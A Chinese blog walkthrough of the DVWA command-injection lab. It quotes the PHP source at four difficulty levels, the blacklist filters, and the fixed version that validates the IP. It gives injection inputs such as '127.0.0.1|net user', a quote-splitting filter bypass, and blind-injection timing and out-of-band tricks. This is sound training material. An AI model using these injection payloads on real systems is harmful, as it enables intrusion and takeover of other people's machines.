zoukankan      html  css  js  c++  java
  • 2. DVWA亲测命令执行漏洞


     
     
    先看low级:
    提示让我们输入一个IP地址来实现ping,猜测会是在系统终端中实现的,
    我们正常输入127.0.0.1:

    那我们就可以利用这个使用其他CMD命令

     我们输入127.0.0.1&&net user :
     
    我们顺便看一下源代码
    <?php
     
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = $_REQUEST[ 'ip' ];
     
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
     
        // Feedback for the end user
        $html .= "<pre>{$cmd}</pre>";
    }
     
    ?>
    这样的话,我们甚至可以用这个漏洞来创建管理员用户,控制电脑


     

    Medium级别:

    提示让我们输入一个IP地址来实现ping,猜测会是在系统终端中实现的,
    我们正常输入127.0.0.1
    那我们就可以利用这个使用其他CMD命令
     
    我们输入  127.0.0.1&&net user : 
     
    发现少了两个 && ,初步估计,应该是后台代码过滤了,我们来看代码:
    <?php
     
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = $_REQUEST[ 'ip' ];
     
        // Set blacklist
        $substitutions = array(
            '&&' => '',
            ';'  => '',
        );
     
        // Remove any of the charactars in the array (blacklist).
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
     
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
     
        // Feedback for the end user
        $html .= "<pre>{$cmd}</pre>";
    }
     
    ?>
    发现这两行代码
    $substitutions = array(
            '&&' => '',
            ';'  => '',
        );
    果然把 && 给过滤了,但是还有 | ,|| ,& 等符号可以连接两条命令
     
    我们可以输入 127.0.0.1&net user :
    我们可以输入 127.0.0.1|net user :
     
    我们可以输入 127.0.0.1||net user :

     
    High级别:
     
    这次我们先来看源码:
    <?php
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = trim($_REQUEST[ 'ip' ]);
     
        // Set blacklist
        $substitutions = array(
            '&'  => '',
            ';'  => '',
            '| ' => '',
            '-'  => '',
            '$'  => '',
            '('  => '',
            ')'  => '',
            '`'  => '',
            '||' => '',
        );
     
        // Remove any of the charactars in the array (blacklist).
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
     
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
     
        // Feedback for the end user
        $html .= "<pre>{$cmd}</pre>";
    }
    ?>
    有这样一段代码:
    $substitutions = array(
            '&'  => '',
            ';'  => '',
            '| ' => '',
            '-'  => '',
            '$'  => '',
            '('  => '',
            ')'  => '',
            '`'  => '',
            '||' => '',
        );
     
    这过滤的真多,简直要赶净杀绝
    我们可以输入 127.0.0.1|net user :
     

    Impossible等级:
     
    我们先来看代码:
    <?php
     
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
     
        // Get input
        $target = $_REQUEST[ 'ip' ];
        $target = stripslashes( $target );
     
        // Split the IP into 4 octects
        $octet = explode( ".", $target );
     
        // Check IF each octet is an integer
        if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
            // If all 4 octets are int's put the IP back together.
            $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
     
            // Determine OS and execute the ping command.
            if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
                // Windows
                $cmd = shell_exec( 'ping  ' . $target );
            }
            else {
                // *nix
                $cmd = shell_exec( 'ping  -c 4 ' . $target );
            }
     
            // Feedback for the end user
            $html .= "<pre>{$cmd}</pre>";
        }
        else {
            // Ops. Let the user name theres a mistake
            $html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
        }
    }
     
    // Generate Anti-CSRF token
    generateSessionToken();
     
    ?>
    我们尝试输入 127.0.0.1|net user :

    这里直接限制了输入IP的格式,有效地防止了命令注入

     

    小技巧
    1.如果过滤了敏感字符怎么办?
       比如如果过滤了 whoami 命令,我们就无法查看当前用户
    但是我们可以用 who""ami  who""am""i 这样的方式绕过
    2.如果不显示输出结果怎么办?
    延时注入:
         系统
           命令
    windows
    ping 127.0.0.1 -n 5 > null
    linux
    sleep 5
     
    远程请求:
         系统
          命令
    windows
    ping , telnet 等
    linux
    wget , curl 等
     
     
     
     
  • 相关阅读:
    正经学C#_循环[do while,while,for]:[c#入门经典]
    Vs 控件错位 右侧资源管理器文件夹点击也不管用,显示异常
    asp.net core 获取当前请求的url
    在实体对象中访问导航属性里的属性值出现异常“There is already an open DataReader associated with this Command which must be
    用orchard core和asp.net core 3.0 快速搭建博客,解决iis 部署https无法登录后台问题
    System.Data.Entity.Core.EntityCommandExecution The data reader is incompatible with the specified
    初探Java设计模式3:行为型模式(策略,观察者等)
    MySQL教程77-CROSS JOIN 交叉连接
    MySQL教程76-HAVING 过滤分组
    MySQL教程75-使用GROUP BY分组查询
  • 原文地址:https://www.cnblogs.com/bmjoker/p/9084884.html
Copyright © 2011-2022 走看看